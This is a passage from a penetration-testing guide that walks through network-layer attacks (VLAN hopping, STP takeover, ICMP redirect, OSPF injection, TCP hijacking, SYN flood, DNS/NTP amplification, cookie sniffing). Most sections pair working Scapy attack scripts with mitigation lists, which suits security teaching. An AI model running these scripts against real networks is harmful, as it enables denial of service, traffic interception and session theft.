ssap=0xaa, ctrl=0x03)/ \\\n            SNAP(OUI=0x00000c, code=0x2004)/ \\\n            Raw(load=struct.pack(\"!HH\", 0x0001, 0x0001))\n\nsendp(dtp_frame, iface=\"eth0\", count=10)\n```\n\n**Double Tagging:**\n1. Attacker sends frame with two VLAN tags\n2. First switch removes outer tag (native VLAN), forwards frame\n3. Second switch sees remaining tag and forwards to target VLAN\n4. Only works when attacker on same native VLAN as trunk\n\n**Double Tagging Implementation:**\n```python\nfrom scapy.all import *\n\n# Frame with double 802.1Q tags\nframe = Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ \\\n        Dot1Q(vlan=1)/ \\  # Outer tag (native VLAN)\n        Dot1Q(vlan=10)/ \\ # Inner tag (target VLAN)\n        IP(dst=\"192.168.10.1\")/ICMP()\n\nsendp(frame, iface=\"eth0\")\n```\n\n**Mitigation:**\n- Disable DTP on access ports: `switchport nonegotiate`\n- Change native VLAN from default (VLAN 1)\n- Explicitly prune unused VLANs from trunks\n- Use VLAN access maps for filtering\n\n**CDP/LLDP Attacks**\n\n**Information Gathering:**\n```bash\n# Capture CDP packets\ntcpdump -i eth0 -v -s 1500 -c 10 'ether[20:2]==0x2000'\n\n# Parse CDP information (using Python)\nfrom scapy.all import *\n\ndef parse_cdp(pkt):\n    if pkt.haslayer(CDP):\n        cdp = pkt[CDP]\n        print(f\"Device ID: {cdp.val_deviceid if hasattr(cdp, 'val_deviceid') else 'Unknown'}\")\n        print(f\"Platform: {cdp.val_platform if hasattr(cdp, 'val_platform') else 'Unknown'}\")\n        print(f\"Addresses: {cdp.val_address if hasattr(cdp, 'val_address') else 'Unknown'}\")\n        print(f\"Port ID: {cdp.val_portid if hasattr(cdp, 'val_portid') else 'Unknown'}\")\n\nsniff(filter=\"ether dst 01:00:0c:cc:cc:cc\", prn=parse_cdp, count=10)\n```\n\n**Fake CDP Advertisement:**\n```python\n# Send fake CDP to confuse network mapping\nfake_cdp = Ether(dst=\"01:00:0c:cc:cc:cc\")/ \\\n           LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03)/ \\\n           SNAP(OUI=0x00000c, code=0x2000)/ \\\n           CDP(version=2, ttl=180, checksum=0)/ \\\n           CDPDeviceID(val=\"Fake-Router\")/ \\\n           CDPPlatform(val=\"Cisco 2901\")/ \\\n           CDPAddress(val=\"192.168.1.1\")\n\nsendp(fake_cdp, iface=\"eth0\", loop=1, inter=60)\n```\n\n**Mitigation:**\n- Disable CDP/LLDP on user-facing ports\n- Use dedicated management VLAN\n- Filter CDP/LLDP at network edge\n\n**Spanning Tree Protocol Attacks**\n\n**STP Manipulation:**\n1. Attacker sends BPDUs claiming lower bridge ID\n2. Network reconverges with attacker as root bridge\n3. Attacker sees all traffic (roots see all paths)\n4. Can also cause network instability\n\n**STP Attack Implementation:**\n```python\n# Claim to be root bridge with priority 0\nbpdu = Ether(dst=\"01:80:c2:00:00:00\")/ \\\n       LLC(dsap=0x42, ssap=0x42, ctrl=0x03)/ \\\n       STP(\n           proto=0,\n           version=0,\n           bpdutype=0x00,\n           bpduflags=0x00,\n           rootid=0,  # Priority 0 (lowest)\n           rootmac=\"02:00:00:00:00:01\",\n           cost=0,\n           bridgeid=0,\n           bridgemac=\"02:00:00:00:00:01\",\n           portid=0x8001,\n           age=0,\n           maxage=20,\n           hellotime=2,\n           fwddelay=15\n       )\n\nsendp(bpdu, iface=\"eth0\", loop=1, inter=2)\n```\n\n**Mitigation:**\n- BPDU Guard: Shut down ports receiving BPDUs\n- Root Guard: Prevent port from becoming root\n- Loop Guard: Prevent alternate/backup ports from becoming designated\n- PortFast: Immediately transition access ports to forwarding\n\n#### Data Link Layer Security Testing Checklist\n\nWhen testing layer 2 security, verify:\n\n- [ ] ARP spoofing possible? (Dynamic ARP Inspection enabled?)\n- [ ] MAC flooding successful? (Port security configured?)\n- [ ] VLAN hopping possible? (DTP disabled, native VLAN changed?)\n- [ ] CDP/LLDP enabled on access ports? (Information leakage)\n- [ ] STP attacks possible? (BPDU Guard enabled?)\n- [ ] DHCP starvation possible? (DHCP Snooping enabled?)\n- [ ] MAC address spoofing allowed? (Port security with sticky MAC?)\n- [ ] Broadcast storms possible? (Storm control configured?)\n- [ ] Private VLAN bypass techniques? (PVLAN edge security?)\n\n### Layer 3: Network Layer - IP and Routing Attacks\n\nThe network layer handles logical addressing and routing across different networks. Internet Protocol (IP) operates at this layer, along with routing protocols like OSPF, BGP, and ICMP. Understanding layer 3 vulnerabilities is essential for network penetration testing.\n\n#### Internet Protocol (IP) Fundamentals\n\n**IPv4 Packet Structure:**\n- **Version (4 bits):** 4 for IPv4\n- **IHL (4 bits):** Header length in 32-bit words (minimum 5)\n- **Type of Service (8 bits):** QoS/differentiated services\n- **Total Length (16 bits):** Entire packet length (up to 65535 bytes)\n- **Identification (16 bits):** Fragment identification\n- **Flags (3 bits):** DF (Don't Fragment), MF (More Fragments)\n- **Fragment Offset (13 bits):** Fragment position in original packet\n- **TTL (8 bits):** Time to Live (max hops)\n- **Protocol (8 bits):** Upper layer protocol (TCP=6, UDP=17, ICMP=1)\n- **Header Checksum (16 bits):** Error checking for header\n- **Source Address (32 bits):** Sender IP\n- **Destination Address (32 bits):** Receiver IP\n- **Options (variable):** Security, routing, timestamp options\n\n**IPv6 Enhancements:**\n- **128-bit addresses:** 3.4\u00d710^38 addresses\n- **Simplified header:** Fixed 40 bytes, fewer fields\n- **Extension headers:** Fragmentation, authentication, etc.\n- **No checksum:** Relies on upper layer checksums\n- **Flow labeling:** QoS without transport info\n- **Neighbor Discovery:** Replaces ARP with ICMPv6\n\n**IPv6 Address Types:**\n- **Global Unicast:** 2000::/3 (internet-routable)\n- **Unique Local:** FC00::/7 (site-local, like IPv4 private)\n- **Link-Local:** FE80::/10 (local link only)\n- **Multicast:** FF00::/8 (multicast groups)\n- **Anycast:** Multiple interfaces share address\n\n#### IP Spoofing and Source Address Validation\n\nIP packets contain source addresses that routers typically trust. By forging source IP addresses, attackers can:\n\n**Attack Scenarios:**\n1. **Bypass IP-based access controls:** Spoof trusted IP addresses\n2. **Launch reflection attacks:** Spoof victim IP as source, responses go to victim\n3. **Conceal true origin:** Hide attacker's real IP address\n4. **Impersonate trusted systems:** Pretend to be internal servers\n\n**IP Spoofing Implementation:**\n```python\nfrom scapy.all import *\nimport socket\n\ndef send_spoofed_packet(target_ip, spoofed_ip, payload):\n    \"\"\"Send packet with spoofed source IP\"\"\"\n    packet = IP(src=spoofed_ip, dst=target_ip)/TCP()/Raw(load=payload)\n    send(packet, verbose=False)\n    print(f\"[+] Sent spoofed packet from {spoofed_ip} to {target_ip}\")\n\n# Example: Spoof internal DNS server\nsend_spoofed_packet(\"192.168.1.100\", \"192.168.1.1\", \"Malicious data\")\n```\n\n**Detection and Prevention:**\n- **Ingress filtering:** Block packets with source addresses outside expected ranges\n- **Egress filtering:** Block packets with source addresses not belonging to network\n- **uRPF (Unicast Reverse Path Forwarding):** Verify source address reachability\n- **IPsec:** Authenticate packet sources cryptographically\n- **BCP 38:** Best practice for source address validation\n\n#### ICMP (Internet Control Message Protocol) Attacks\n\nICMP provides error reporting and diagnostic functions but can be weaponized:\n\n**ICMP Types and Codes:**\n- **Type 0:** Echo Reply (ping response)\n- **Type 3:** Destination Unreachable (with codes: 0=net, 1=host, 2=proto, 3=port, 4=frag needed)\n- **Type 5:** Redirect (change routing)\n- **Type 8:** Echo Request (ping)\n- **Type 11:** Time Exceeded (TTL expired)\n- **Type 13:** Timestamp Request/Reply\n- **Type 17:** Address Mask Request/Reply\n\n**ICMP Tunneling**\n\nICMP tunneling encapsulates non-ICMP traffic within ICMP packets:\n\n**How It Works:**\n1. Client encapsulates data in ICMP echo request payload\n2. Server extracts data from ICMP echo request\n3. Server sends response in ICMP echo reply payload\n4. Firewalls often allow ICMP, making this an effective covert channel\n\n**ICMP Tunneling Tools:**\n```bash\n# Using ptunnel (Ping Tunnel)\nptunnel -p  -lp  -da  -dp \n\n# Using icmptx (ICMP Tunnel)\n./icmptx -c  \n\n# Using Hans (ICMP tunneling)\nhans -v -c -p  -s  -d \n```\n\n**Detection:**\n- Unusually large ICMP packets\n- High frequency of ICMP traffic\n- Regular timing patterns\n- Non-standard ICMP payload content\n\n**Smurf Attack (ICMP Amplification)**\n\n**Attack Mechanics:**\n1. Attacker sends ICMP echo requests to network broadcast address\n2. Source IP spoofed to victim's address\n3. All devices on network respond to victim\n4. Amplification factor = number of responding hosts\n\n**Smurf Attack Implementation:**\n```python\nfrom scapy.all import *\n\ndef smurf_attack(broadcast_ip, victim_ip, count=100):\n    \"\"\"Send spoofed ICMP to broadcast address\"\"\"\n    packet = IP(src=victim_ip, dst=broadcast_ip)/ICMP()\n    send(packet, count=count, verbose=False)\n    print(f\"[+] Sent {count} spoofed pings to {broadcast_ip}\")\n```\n\n**Modern Mitigations:**\n- Disable IP-directed broadcasts on routers\n- Configure hosts to ignore broadcast pings\n- Ingress filtering prevents spoofed traffic\n\n**ICMP Redirect Attacks**\n\n**How ICMP Redirect Works:**\nWhen a router receives a packet on an interface and knows a better route out the same interface, it sends an ICMP redirect to the sender, telling them to use a different gateway for that destination.\n\n**Attack Mechanics:**\n1. Attacker sends forged ICMP redirect to victim\n2. Claims to have better route to destination\n3. Victim updates routing table\n4. Traffic now flows through attacker\n\n**ICMP Redirect Attack:**\n```python\nfrom scapy.all import *\n\ndef icmp_redirect(victim_ip, gateway_ip, target_net, attacker_ip):\n    \"\"\"Send forged ICMP redirect\"\"\"\n    # Build ICMP redirect packet\n    redirect = IP(src=gateway_ip, dst=victim_ip)/ \\\n               ICMP(type=5, code=1, gw=attacker_ip)/ \\\n               IP(src=victim_ip, dst=target_net)/ICMP()\n    \n    send(redirect, verbose=False)\n    print(f\"[+] Sent ICMP redirect: {victim_ip} -> {attacker_ip} for {target_net}\")\n```\n\n**Mitigation:**\n- Disable ICMP redirect acceptance on hosts\n- Configure routers not to send redirects\n- Use static routing for critical paths\n\n#### Routing Protocol Attacks\n\n**OSPF (Open Shortest Path First) Attacks**\n\nOSPF is a link-state routing protocol used within autonomous systems:\n\n**OSPF Packet Types:**\n1. **Hello:** Discover neighbors, establish adjacencies\n2. **Database Description:** Exchange link-state summaries\n3. **Link-State Request:** Request specific LSAs\n4. **Link-State Update:** Send LSAs\n5. **Link-State Acknowledgment:** Acknowledge LSAs\n\n**OSPF Authentication:**\n- **Null:** No authentication (vulnerable)\n- **Plaintext:** Simple password (easily sniffed)\n- **MD5:** Cryptographic authentication (stronger, but MD5 weaknesses)\n\n**OSPF Attack Vectors:**\n\n**LSA Injection:**\n1. Attacker establishes OSPF adjacency with router\n2. Injects false Link State Advertisements\n3. Network routes through attacker or to wrong destinations\n4. Can cause blackholing or MITM\n\n**OSPF LSA Injection:**\n```python\nfrom scapy.all import *\nimport struct\n\n# Simplified OSPF LSA injection\nospf_lsa = IP(src=\"192.168.1.1\", dst=\"224.0.0.5\")/ \\\n           OSPF_Hdr(type=4, routerid=\"192.168.1.100\", areaid=0)/ \\\n           OSPF_LSUpd(lsacount=1)/ \\\n           OSPF_RouterLSA(id=\"192.168.2.0\", adrouter=\"192.168.1.1\", mask=\"255.255.255.0\")\n\nsend(ospf_lsa, verbose=False)\n```\n\n**OSPF Authentication Bypass:**\n- Sniff OSPF packets to capture plaintext passwords\n- Use captured MD5 hashes for replay attacks\n- Brute-force weak MD5 keys\n\n**BGP (Border Gateway Protocol) Attacks**\n\nBGP routes traffic between autonomous systems on the internet:\n\n**BGP Fundamentals:**\n- Path-vector protocol\n- Exchanges routing information between ASes\n- Uses TCP port 179\n- Routes based on path attributes\n\n**BGP Attack Vectors:**\n\n**BGP Hijacking:**\n1. Attacker announces more specific prefix (e.g., /24 instead of /16)\n2. More specific routes are preferred\n3. Traffic redirects to attacker's AS\n4. Can intercept, monitor, or blackhole traffic\n\n**Famous BGP Hijacks:**\n- **2008 Pakistan YouTube Hijack:** Pakistan Telecom announced YouTube's /22, took YouTube offline globally\n- **2018 MyEtherWallet:** DNS traffic hijacked via BGP, $150k stolen\n- **2021 Facebook Outage:** BGP withdrawals caused 6-hour global outage\n\n**BGP Route Injection:**\n```python\n# Simplified BGP UPDATE message (conceptual)\nbgp_update = {\n    'withdrawn_routes': [],\n    'path_attributes': [\n        {'type': 1, 'value': 'ORIGIN', 'data': 0},  # IGP\n        {'type': 2, 'value': 'AS_PATH', 'data': [65001]},  # AS_PATH\n        {'type': 3, 'value': 'NEXT_HOP', 'data': '192.0.2.1'},  # Next hop\n    ],\n    'nlri': [{'prefix': '203.0.113.0', 'length': 24}]  # Announced prefix\n}\n```\n\n**BGP Security Measures:**\n- **RPKI (Resource Public Key Infrastructure):** Cryptographic validation of route origins\n- **BGPsec:** Path validation using digital signatures\n- **Prefix filtering:** Filter unexpected announcements\n- **Max prefix limits:** Prevent route leaks\n\n**RIP (Routing Information Protocol) Attacks**\n\nRIP is a distance-vector routing protocol (rare but still present):\n\n**RIP Attack Vectors:**\n- **RIP v1:** No authentication, trivial to inject routes\n- **RIP v2:** Plaintext or MD5 authentication possible\n- **Route poisoning:** Inject false routes with low metrics\n- **Split horizon bypass:** Send updates back to source\n\n#### IP Fragmentation Attacks\n\nIP fragmentation can be used to evade detection:\n\n**Fragmentation Basics:**\nLarge packets are fragmented into smaller pieces:\n- Each fragment has identification, offset, and MF flag\n- Only first fragment contains full transport header\n- Fragments reassembled at destination\n\n**Fragmentation Attack Techniques:**\n\n**Tiny Fragment Attack:**\nForce first fragment to be too small to contain full transport header:\n```python\nfrom scapy.all import *\n\n# First fragment too small for TCP header\nfrag1 = IP(dst=\"target\", flags=\"MF\", frag=0)/ \\\n        Raw(load=\"GET /\")  # Only part of request\n\n# Second fragment contains rest\nfrag2 = IP(dst=\"target\", frag=1)/ \\\n        Raw(load=\"admin HTTP/1.0\\r\\n\\r\\n\")\n```\n\n**Fragment Overlap Attack:**\nCreate overlapping fragments that reassemble differently:\n```python\n# Fragment 1: \"GET /index.html\"\nfrag1 = IP(dst=\"target\", flags=\"MF\", frag=0)/Raw(load=\"GET /index.ht\")\n\n# Fragment 2: Overlapping offset, writes \"admin\" over part\nfrag2 = IP(dst=\"target\", frag=1)/Raw(load=\"adminl\")\n\n# Reassembled: \"GET /adminl\" (if overlapping handled poorly)\n```\n\n**Fragment Overlap Exploitation:**\n- Firewall sees \"GET /index.html\" in fragments\n- Target reassembles to \"GET /admin.html\"\n- Bypasses URL filtering\n\n**Mitigation:**\n- Fragment reassembly before inspection\n- Normalize overlapping fragments\n- Block fragments with non-zero offsets to unexpected ports\n\n### Layer 4: Transport Layer - TCP/UDP Deep Dive\n\nThe transport layer manages end-to-end communication, flow control, and reliability. TCP and UDP dominate this layer, and understanding their nuances is crucial for penetration testing.\n\n#### TCP (Transmission Control Protocol) Deep Dive\n\n**TCP Header Structure:**\n- **Source Port (16 bits):** Sending application port\n- **Destination Port (16 bits):** Receiving application port\n- **Sequence Number (32 bits):** Position in data stream\n- **Acknowledgment Number (32 bits):** Next expected byte (ACK set)\n- **Data Offset (4 bits):** Header length in 32-bit words\n- **Reserved (3 bits):** For future use (must be zero)\n- **Flags (9 bits):** NS, CWR, ECE, URG, ACK, PSH, RST, SYN, FIN\n- **Window Size (16 bits):** Receive window size (flow control)\n- **Checksum (16 bits):** Error detection for header and data\n- **Urgent Pointer (16 bits):** Points to urgent data (URG set)\n- **Options (variable):** Maximum segment size, window scaling, timestamps, SACK\n\n**TCP Three-Way Handshake:**\n1. **Client \u2192 Server:** SYN (seq=x)\n2. **Server \u2192 Client:** SYN-ACK (seq=y, ack=x+1)\n3. **Client \u2192 Server:** ACK (ack=y+1)\n\n**TCP State Diagram:**\n- **CLOSED:** No connection\n- **LISTEN:** Waiting for connection\n- **SYN-SENT:** Sent SYN, waiting for SYN-ACK\n- **SYN-RECEIVED:** Received SYN, sent SYN-ACK\n- **ESTABLISHED:** Connection established\n- **FIN-WAIT-1:** Sent FIN, waiting for ACK\n- **FIN-WAIT-2:** Received ACK, waiting for FIN\n- **CLOSE-WAIT:** Received FIN, sent ACK\n- **CLOSING:** Received FIN, sent FIN, waiting for ACK\n- **LAST-ACK:** Sent FIN, waiting for FIN-ACK\n- **TIME-WAIT:** Waiting for delayed packets (2\u00d7MSL)\n\n#### TCP Security Implications and Attacks\n\n**TCP SYN Flood**\n\n**Attack Mechanics:**\n1. Attacker sends many SYN packets with spoofed source IPs\n2. Server allocates resources for half-open connections\n3. Server backlog queue fills\n4. Legitimate connections cannot be established\n\n**SYN Flood Implementation:**\n```python\nfrom scapy.all import *\nimport random\n\ndef syn_flood(target_ip, target_port, count=10000):\n    \"\"\"SYN flood attack\"\"\"\n    for i in range(count):\n        # Spoofed source IP\n        src_ip = \"%d.%d.%d.%d\" % tuple(random.randint(1,255) for _ in range(4))\n        \n        # SYN packet\n        packet = IP(src=src_ip, dst=target_ip)/ \\\n                 TCP(sport=random.randint(1024,65535), dport=target_port, flags=\"S\")\n        \n        send(packet, verbose=False)\n        \n        if i % 1000 == 0:\n            print(f\"[+] Sent {i} SYN packets\")\n\n# Requires root privileges\n# syn_flood(\"192.168.1.100\", 80)\n```\n\n**SYN Flood Mitigation:**\n- **SYN Cookies:** Encode connection info in SYN-ACK sequence number\n- **SYN Cache:** Limit resources for half-open connections\n- **Increase backlog queue:** Allow more pending connections\n- **RST cookies:** Send RST for suspicious SYNs\n- **Rate limiting:** Limit SYNs per source IP\n\n**TCP Sequence Number Prediction**\n\n**Attack Mechanics:**\n1. Attacker sniffs initial sequence number from SYN-ACK\n2. Predicts next sequence number (if predictable)\n3. Forges packets that appear part of established connection\n4. Can inject data or hijack session\n\n**Predictable Sequence Number Generation:**\n- **RFC 793:** ISN = timer + connection ID (predictable)\n- **Some implementations:** ISN = constant increment (very predictable)\n- **Modern systems:** Random ISN generation\n\n**Sequence Number Prediction Attack:**\n```python\nfrom scapy.all import *\nimport time\n\ndef seq_number_prediction(target_ip, target_port, spoofed_ip, spoofed_port):\n    \"\"\"Predict sequence numbers (simplified)\"\"\"\n    # First, establish real connection to get ISN pattern\n    syn = IP(dst=target_ip)/TCP(sport=12345, dport=target_port, flags=\"S\")\n    syn_ack = sr1(syn, timeout=2)\n    \n    if syn_ack:\n        seq_num = syn_ack[TCP].seq\n        print(f\"[+] Received SYN-ACK with seq={seq_num}\")\n        \n        # In predictable systems, next ISN might be seq_num + increment\n        predicted_next = seq_num + 1000  # Guess increment\n        \n        # Send spoofed packet with predicted sequence\n        spoofed = IP(src=spoofed_ip, dst=target_ip)/ \\\n                  TCP(sport=spoofed_port, dport=target_port, \n                      seq=predicted_next, ack=syn_ack[TCP].seq + 1, flags=\"A\")/ \\\n                  Raw(load=\"Malicious data\")\n        \n        send(spoofed, verbose=False)\n        print(f\"[+] Sent spoofed packet with seq={predicted_next}\")\n```\n\n**Modern Protection:**\n- Random sequence numbers (ISN randomization)\n- TCP timestamps for additional validation\n- Cryptographic sequence numbers (TCP-AO)\n\n**TCP Session Hijacking**\n\n**Attack Mechanics:**\n1. Attacker sniffs established TCP connection\n2. Determines correct sequence numbers\n3. Injects malicious packets with correct seq/ack\n4. Can insert commands, redirect traffic\n\n**TCP Session Hijacking Implementation:**\n```python\nfrom scapy.all import *\n\ndef tcp_hijack(interface, victim_ip, victim_port, target_ip, target_port, command):\n    \"\"\"Hijack TCP session and inject command\"\"\"\n    # Sniff to get current sequence numbers\n    def inject_command(pkt):\n        if pkt.haslayer(TCP) and pkt[IP].src == victim_ip and pkt[TCP].sport == victim_port:\n            # Got packet from victim to server\n            seq = pkt[TCP].seq\n            ack = pkt[TCP].ack\n            \n            # Forge packet from victim to server\n            inject = IP(src=victim_ip, dst=target_ip)/ \\\n                     TCP(sport=victim_port, dport=target_port, \n                         seq=seq, ack=ack, flags=\"A\")/ \\\n                     Raw(load=command)\n            \n            send(inject, iface=interface, verbose=False)\n            print(f\"[+] Injected command with seq={seq}\")\n            \n            # Stop sniffing\n            return True\n    \n    print(f\"[*] Sniffing for TCP session {victim_ip}:{victim_port} -> {target_ip}:{target_port}\")\n    sniff(iface=interface, filter=f\"tcp and host {victim_ip}\", prn=inject_command, count=10)\n```\n\n**TCP Desynchronization**\n\n**Attack Mechanics:**\n1. Attacker sends packet with large sequence number\n2. Desynchronizes client and server expectations\n3. Server ignores legitimate client packets\n4. Attacker can inject packets that server accepts\n\n**TCP Desynchronization:**\n```python\n# Send packet with large seq to desync\ndesync = IP(src=victim_ip, dst=server_ip)/ \\\n         TCP(sport=victim_port, dport=server_port, seq=999999999, flags=\"A\")/ \\\n         Raw(load=\"x\")\n\nsend(desync, verbose=False)\n```\n\n**TCP RST Attacks**\n\n**Attack Mechanics:**\n1. Attacker sends forged RST packet to terminate connection\n2. Must have correct sequence number\n3. Can disrupt critical connections\n\n**TCP RST Attack:**\n```python\ndef tcp_rst(victim_ip, victim_port, server_ip, server_port, seq_num):\n    \"\"\"Send forged RST to terminate connection\"\"\"\n    rst = IP(src=server_ip, dst=victim_ip)/ \\\n          TCP(sport=server_port, dport=victim_port, seq=seq_num, flags=\"R\")\n    \n    send(rst, verbose=False)\n    print(f\"[+] Sent RST to terminate connection\")\n```\n\n#### UDP (User Datagram Protocol) Vulnerabilities\n\nUDP's connectionless nature makes it ideal for amplification attacks:\n\n**UDP Header:**\n- **Source Port (16 bits):** Optional (0 if not used)\n- **Destination Port (16 bits):** Target application\n- **Length (16 bits):** UDP header + data length\n- **Checksum (16 bits):** Error detection (optional in IPv4)\n\n**DNS Amplification Attack**\n\n**Attack Mechanics:**\n1. Attacker sends small DNS queries (60 bytes) with spoofed source IP\n2. Queries request \"ANY\" record for large domain (e.g., isc.org)\n3. Open resolvers send large responses (3000+ bytes) to victim\n4. Amplification factor: 50-100x\n\n**DNS Ampl Vectors:**\n- **ANY query:** Returns all record types (largest)\n- **DNSSEC:** Large key records\n- **EDNS0:** Allow large responses\n- **Multiple questions:** More data per query\n\n**DNS Amplification Tool:**\n```python\nfrom scapy.all import *\nimport random\n\ndef dns_amplification(target_ip, dns_servers, domain=\"isc.org\", count=100):\n    \"\"\"DNS amplification attack\"\"\"\n    # Build DNS query for ANY record\n    dns_query = IP(dst=dns_servers)/ \\\n                UDP(sport=random.randint(1024,65535), dport=53)/ \\\n                DNS(rd=1, qd=DNSQR(qname=domain, qtype=\"ANY\"))\n    \n    # Spoof source IP\n    for i in range(count):\n        query = dns_query.copy()\n        query[IP].src = target_ip  # Spoof victim IP\n        \n        send(query, verbose=False)\n        \n        if i % 10 == 0:\n            print(f\"[+] Sent {i} amplification queries\")\n\n# Requires list of open resolvers\n# dns_amplification(\"victim_ip\", [\"8.8.8.8\", \"1.1.1.1\"])\n```\n\n**NTP Monlist Attack**\n\n**Attack Mechanics:**\n1. Send small request to NTP server with \"monlist\" command\n2. Server responds with list of last 600 clients (large response)\n3. Amplification factor up to 500x\n\n**NTP Monlist Attack:**\n```python\n# NTP monlist request\nntp_monlist = IP(dst=\"ntp_server\")/ \\\n              UDP(sport=12345, dport=123)/ \\\n              Raw(load=\"\\x17\\x00\\x03\\x2a\" + \"\\x00\" * 4)\n\n# Spoof source IP to victim\nntp_monlist[IP].src = \"victim_ip\"\n\nsend(ntp_monlist, verbose=False)\n```\n\n**Memcached Amplification**\n\n**Attack Mechanics:**\n1. Send small \"stats\" request to memcached server (15 bytes)\n2. Server responds with statistics (up to 1MB)\n3. Amplification factor up to 50,000x\n4. Used in 1.3 Tbps DDoS attacks\n\n**Other UDP Amplification Vectors:**\n- **SSDP:** Simple Service Discovery Protocol (30x)\n- **SNMP:** Simple Network Management Protocol (50x)\n- **RIPv1:** Routing Information Protocol (30x)\n- **Chargen:** Character Generator Protocol (100x)\n- **QOTD:** Quote of the Day (100x)\n\n**Mitigation:**\n- Disable unnecessary UDP services\n- Rate limit UDP responses\n- Implement response size limiting\n- Source IP validation (BCP 38)\n- Anycast for absorptive capacity\n\n#### Port States and What They Reveal\n\nDuring reconnaissance, understanding port states provides critical intelligence:\n\n**Nmap Port States:**\n\n**Open:**\n- Application actively accepts connections\n- Service is listening on this port\n- Represents attack surface for exploitation\n- Banner grabbing possible\n- **What it reveals:** Service type, version, OS hints\n\n**Closed:**\n- Port accessible but no application listening\n- Host responded with RST (TCP) or ICMP unreachable (UDP)\n- Reveals host is up and firewall allows access\n- Useful for OS fingerprinting (different stacks respond differently)\n\n**Filtered:**\n- Port likely behind firewall that drops packets\n- No response received (or ICMP unreachable)\n- May indicate:\n  - Firewall rule dropping traffic\n  - Intrusion prevention system\n  - Network congestion\n  - Host not responding\n\n**Unfiltered:**\n- Port accessible but state cannot be determined\n- Only occurs in specific scan types (ACK, window)\n- Further probing required\n- May indicate stateful firewall\n\n**Open|filtered:**\n- Cannot distinguish between open and filtered\n- Common with UDP scans\n- Lack of response could mean open (no response) or filtered (dropped)\n\n**Closed|filtered:**\n- Cannot distinguish between closed and filtered\n- Rare, occurs with IP ID idle scans\n\n#### Port Scanning Techniques and Their Significance\n\n**TCP SYN Scan (-sS):**\n- Send SYN, receive SYN-ACK (open) or RST (closed)\n- No response or ICMP unreachable = filtered\n- Stealthier than connect scan (no full handshake)\n- Requires raw socket privileges\n\n**TCP Connect Scan (-sT):**\n- Completes full TCP handshake\n- Easily logged by applications\n- No special privileges needed\n- Slower, more detectable\n\n**TCP FIN Scan (-sF):**\n- Send FIN packet (no SYN)\n- RFC: closed ports should respond with RST\n- Open ports may ignore FIN\n- Bypasses stateless firewalls\n\n**TCP NULL Scan (-sN):**\n- Send packet with no flags set\n- Same behavior as FIN scan\n- Bypasses some filters\n\n**TCP XMAS Scan (-sX):**\n- Send packet with FIN, PSH, URG flags set\n- Same behavior as FIN scan\n- \"Lights up like a Christmas tree\"\n\n**TCP ACK Scan (-sA):**\n- Send ACK packet (part of established connection)\n- No response or RST = unfiltered\n- ICMP unreachable = filtered\n- Maps firewall rules, not open ports\n\n**TCP Window Scan (-sW):**\n- Similar to ACK scan, but examines window field\n- Some systems return non-zero window for open ports\n- Rare, OS-dependent\n\n**TCP Maimon Scan (-sM):**\n- Send FIN/ACK packet\n- Some BSD systems respond with RST for closed ports\n- Obsolete technique\n\n**UDP Scan (-sU):**\n- Send empty UDP header\n- ICMP port unreachable = closed\n- No response = open|filtered\n- Very slow, unreliable\n\n#### TCP/IP Stack Fingerprinting\n\nDifferent operating systems implement TCP/IP stacks differently, allowing OS detection:\n\n**Passive Fingerprinting (p0f):**\nAnalyze captured packets without sending probes:\n- **TTL:** Initial TTL values (Linux=64, Windows=128, Solaris=255)\n- **Window size:** TCP window scaling (varies by OS)\n- **DF flag:** Don't Fragment behavior\n- **TOS:** Type of Service settings\n- **TCP options:** Order and values (MSS, WS, SACK, Timestamp)\n\n**Active Fingerprinting (nmap -O):**\nSend crafted probes and analyze responses:\n- **TCP ISN sampling:** Sequence number generation patterns\n- **TCP options support:** Which options are supported\n- **IP ID generation:** Sequential, random, zero\n- **ICMP response analysis:** How OS responds to ICMP probes\n- **TCP timestamp:** Frequency and increments\n\n### Layers 5-7: Session, Presentation, Application\n\nThe upper layers directly support application functionality and represent the primary focus of web application testing.\n\n#### Session Layer (Layer 5) Attacks\n\nThe session layer manages sessions between applications, handling establishment, maintenance, and termination:\n\n**Session Layer Functions:**\n- Session establishment and termination\n- Session checkpointing and recovery\n- Dialog control (who transmits when)\n- Session synchronization\n\n**Session Layer Protocols:**\n- **NetBIOS:** Network Basic Input/Output System\n- **RPC:** Remote Procedure Call\n- **Sockets:** Berkeley sockets API\n- **SOCKS:** Socket Secure protocol\n- **SSL/TLS session management**\n\n**Session Layer Attack Vectors:**\n\n**Session Fixation:**\n1. Attacker obtains valid session identifier (by visiting application)\n2. Tricks victim into using that session ID (via URL parameter, cookie, hidden form)\n3. Victim authenticates, binding session ID to their account\n4. Attacker uses same session ID to access victim's account\n\n**Session Fixation Prevention:**\n- Regenerate session ID after authentication\n- Bind session to IP address or user agent\n- Short session timeouts\n- Secure cookie flags (HttpOnly, Secure, SameSite)\n\n**Session Hijacking:**\n1. Attacker captures valid session identifier\n2. Methods: network sniffing, XSS, malware, side-channel\n3. Attacker presents captured session ID to application\n4. Application treats attacker as legitimate user\n\n**Session Hijacking via Network Sniffing:**\n```python\nfrom scapy.all import *\n\ndef sniff_sessions(interface):\n    \"\"\"Sniff HTTP sessions from network\"\"\"\n    def extract_session(pkt):\n        if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n            payload = pkt[Raw].load.decode('utf-8', errors='ignore')\n            \n            # Look for session cookies\n            if 'Cookie:' in payload or 'Set-Cookie:' in payload:\n                print(f\"[+] Session from {pkt[IP].src}:{pkt[TCP].sport}\")\n                for line in payload.split('\\n'):\n                    if 'Cookie:' in line or 'Set-Cookie:' in line:\n                        print(f\"    {line.strip()}\")\n    \n    sniff(iface=interface, prn=extract_session, filter=\"tcp port 80\")\n\n# sniff_sessions(\"eth0\")\n```\n\n**Session Replay Attacks:**\n1. Capture legitimate session data (request, token, etc.)\n2. Replay same data later\n3. Application accepts replayed data as legitimate\n\n**Session Replay Prevention:**\n- Timestamps with short validity\n- Nonces (single-use tokens)\n- Sequence numbers\n- Cryptographic signatures\n\n**NetBIOS Session Service Attacks:**\nNetBIOS session service (port 139) can reveal:\n- Share names and access\n- User and group information\n- System information\n\n**NetBIOS Enumeration:**\n```bash\n# NetBIOS name lookup\nnmblookup -A \n\n# NetBIOS session enumeration\nnbtscan /24\n\n# SMB client connection\nsmbclient -L // -N\n```\n\n#### Presentation Layer (Layer 6) Vulnerabilities\n\nThe presentation layer translates data between application and network formats, handling encryption, compression, and encoding:\n\n**Presentation Layer Functions:**\n- Data translation (EBCDIC to ASCII)\n- Encryption and decryption\n- Compression and decompression\n- 